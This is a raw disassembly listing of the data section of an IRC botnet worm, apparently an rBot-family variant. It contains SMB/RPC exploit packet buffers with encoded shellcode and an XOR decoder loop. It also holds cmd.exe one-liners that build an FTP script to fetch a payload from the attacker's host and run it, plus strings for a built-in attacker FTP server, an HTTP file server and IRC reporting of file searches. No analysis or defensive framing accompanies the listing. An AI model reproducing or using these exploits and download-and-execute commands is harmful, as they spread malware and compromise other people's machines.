		dd 2D80000h, 97230801h,	0FF04h,	1000000h, 0F00h, 495C5C5Ch
		dd 244350h, 3F3F3F3Fh, 3Fh
dword_436330	dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+31Do
		dd 2D80800h, 97230801h,	0FF18h,	80000h,	16h, 0
		dd 2019Fh, 3 dup(0)
		dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h,	2 dup(0)
dword_436398	dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+337o
		dd 2D80800h, 97230801h,	48000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 48004A00h, 2004A00h,	2600h, 5C004F40h, 45504950h, 5005Ch
		dd 10030Bh, 480000h, 0
		dd 16D00000h, 16D0h, 10000h, 0
		dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
		dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h,	26048h
		dd 0
dword_436430	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+351o
					; sub_40CFB7+3E0o
		dd 2D80800h, 97230801h,	0FF0Eh,	400000h, 0FF000000h, 8FFFFFFh
		dd 11800h, 3F011800h, 0
		dd 5011800h, 10010000h,	18000000h, 1, 0
		dd 1, 0F2001F00h, 1F2207Ch, 0
		dd 1000000h, 0
		dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
		dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
		dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
		dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
		dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
		dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh,	274F9848h
		dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
		dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
		dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh,	4696FC4Fh
		dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
		dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
		dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0
dword_436590	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+36Bo
					; sub_40CFB7+3FAo
		dd 2D80800h, 97230801h,	0FF0Eh,	18400000h, 0FF000001h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
		dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
		dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
		dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah,	49484B97h
		dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
		dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
		dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
		dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
		dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh,	984137F8h
		dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
		dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
		dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
		dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h,	4191D6h
		dd 0
dword_4366F0	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+385o
					; sub_40CFB7+414o
		dd 2D80800h, 97230801h,	0FF0Eh,	30400000h, 0FF000002h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 0FD001F00h, 424ED627h, 9897414Ah,	4B424240h, 0F5F9FD3Fh
		dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
		dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
		dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
		dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
		dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h,	49434A3Fh
		dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
		dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
		dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
		dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
		dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
		dd 82B25B78h, 8F61B8Fh,	11C1951Ch, 8AE4178h, 3D055718h
		dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
		dd 0
dword_436850	dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+39Fo
					; sub_40CFB7+42Eo
		dd 2D80800h, 97230801h,	0FF0Eh,	48400000h, 0FF000003h
		dd 8FFFFFFh, 11800h, 3F011800h,	0
		dd 5011800h, 10000000h,	18000000h, 1, 0
		dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
		dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
		dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh,	61E84D95h
		dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh,	80D1C80Ch
		dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
		dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
		dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
		dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
		dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
		dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h,	4B7033B1h
		dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
		dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh,	0DF714D3Dh
		dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch,	617623h
		dd 0
dword_4369B0	dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
					; DATA XREF: sub_40CFB7+3B9o
					; sub_40CFB7+448o
		dd 2D80800h, 97230801h,	80000010h, 0E0040000h, 0FFh, 2 dup(0)
		dd 80004A00h, 2004A00h,	2600h, 5C008740h, 45504950h, 5005Ch
		dd 100200h, 800000h, 0
		dd 680000h, 0
		dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
		dd 0BE895Bh, 20000h, 0
		dd 20000h, 2EB0000h, 760000h, 2	dup(0)
dword_436A80	dd 30B0005h, 10h, 48h, 0 ; DATA	XREF: sub_40D5AA+1F6o
		dd 16D016D0h, 0
		dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
		dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_436ACC	dd 3000005h, 10h, 830h,	0 ; DATA XREF: sub_40D5AA+C9o
		dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
		dd 1, 2	dup(0)
dword_436AFC	dd 0FAh, 2, 0		; DATA XREF: sub_40D5AA+139o
		dd 2, 0
		dd 0FAh, 3 dup(0)
dword_436B20	dd 0D959516Ah, 2474D9EEh ; DATA	XREF: sub_40D5AA+41o
		db 0F4h, 5Bh
; ---------------------------------------------------------------------------


loc_436B2A:				; CODE XREF: .nsp0:00436B34j
		xor	dword ptr [ebx+13h], 889097A8h
		sub	ebx, 0FFFFFFFCh
		loop	loc_436B2A
		sub	[ebx+6Fh], edx
		db	67h
		push	edi
		push	7CC274D4h
		frstor	byte ptr [eax+51h]
		push	1CC8776Fh
		cld
		lodsb
		mov	word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
		db 0F0h, 0A9h, 78h
		dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
		dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h,	7CA9ACCFh
		dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h,	4C994BF1h
		dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
		dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
		dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
		dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
		dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh,	4757DDC1h
		dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h,	4157DFD9h
		dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
		dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
		dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
		dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
		dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h,	68CC4C13h
		dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 0
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40D4BD+90o
					; sub_40D876+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aBindingToRpcIn	db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40D5AA+1D8o
		align 4
aFailedToConnec	db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40D5AA+18Eo
		align 4
dword_436D3C	dd 163h, 0		; DATA XREF: sub_40D5AA+D7o
dword_436D44	dd 20804h, 0		; DATA XREF: sub_40D5AA+71o
dword_436D4C	dd 2080Ah, 2 dup(0)	; DATA XREF: sub_40D5AA+56o
dword_436D58	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40D964+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40DAAA+130o
					; sub_41732D+21o
		align 8
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40DC96+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40DF38+5E2o
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40DF38+5C1o
		align 4
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40DF38+570o
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40DF38+55Eo
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40DF38+514o
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40DF38+4EBo
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40DF38+4D3o
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40DF38+4C3o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40DF38+4B2o
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40DF38+47Fo
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40DF38+43Bo
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: sub_40DF38+402o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40DF38+3D4o
		align 4
aList_0		db 'LIST',0             ; DATA XREF: sub_40DF38+3C1o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40DF38+386o
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: sub_40DF38+373o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40DF38+363o
aI:					; DATA XREF: sub_40DF38+34Fo
					; .nsp0:0043B060o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40DF38+328o
aA:					; DATA XREF: sub_40DF38+314o
					; .nsp0:0043B06Co
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_40DF38+2FDo
					; sub_40DF38+338o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40DF38+2EDo
		align 10h
off_4381C0	dd offset dword_445750	; DATA XREF: sub_40DF38+2D9o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40DF38+2C9o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40DF38+2B5o
		align 10h
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40DF38+2A5o
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_40DF38+291o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40DF38+281o
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_40DF38+26Do
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40DF38+25Do
		align 10h
aSS_0		db '%s %s',0            ; DATA XREF: sub_40DF38+237o
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40DF38+1B9o
		align 10h
unk_438250	db  2Dh	; -		; DATA XREF: sub_40E667+3D3o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_438278	db 0Dh,0Ah,0		; DATA XREF: sub_40E667+2BEo
					; sub_4174FC+F2o
		align 4
aGet_0		db 'GET ',0             ; DATA XREF: sub_40E667+258o
		align 8
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40EA9D+F0o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40EA9D+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40EA9D+97o
					; sub_4179BF+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40EA9D+83o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40EA9D:loc_40EB08o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40EA9D+64o
		align 4
unk_43849C	db  2Dh	; -		; DATA XREF: sub_40EC19+27Co
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_29	db ' failed to start worker thread, error %d',0
		align 4
unk_4384D4	db  2Dh	; -		; DATA XREF: sub_40EC19+20Ao
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
aS_4		db '\%s',0              ; DATA XREF: sub_40EC19+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40EEC8+64Do
		align 8
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EEC8+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40EEC8+61Do
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40EEC8+58Eo
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40EEC8+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40EEC8:loc_40F3EBo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40EEC8+51Co
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40EEC8+476o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40EEC8+439o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40EEC8+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40EEC8:loc_40F295o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40EEC8+3C6o
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_40EEC8+379o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EEC8+335o
					; sub_40EEC8+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40EEC8+308o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_40EEC8+2DEo
					; sub_40EEC8+418o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40EEC8+2B4o
aAm		db 'AM',0               ; DATA XREF: sub_40EEC8+293o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40EEC8+284o
		align 4
a__		db '..',0               ; DATA XREF: sub_40EEC8+231o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EEC8+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40EEC8+146o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EEC8+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 8
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40EEC8+F6o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40EEC8+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40EEC8+77o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40EEC8+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40F634+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4389B8	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40F755+171o
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40F755+116o
dword_4389FC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_40F755+BEo
aClientConnecti	db '- client connection from %s:%d.',0
unk_438A28	db  2Dh	; -		; DATA XREF: sub_40F903+14Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start client thread, error: <%d>.',0
		align 8
unk_438A68	db  2Dh	; -		; DATA XREF: sub_40F903+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_438AB0	db  2Dh	; -		; DATA XREF: sub_40FA93+157o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_31	db 'Failed to start connection thread, error: <%d>.',0
unk_438AF0	db  2Dh	; -		; DATA XREF: sub_40FA93+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_438B34	db  2Dh	; -		; DATA XREF: sub_40FD18+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
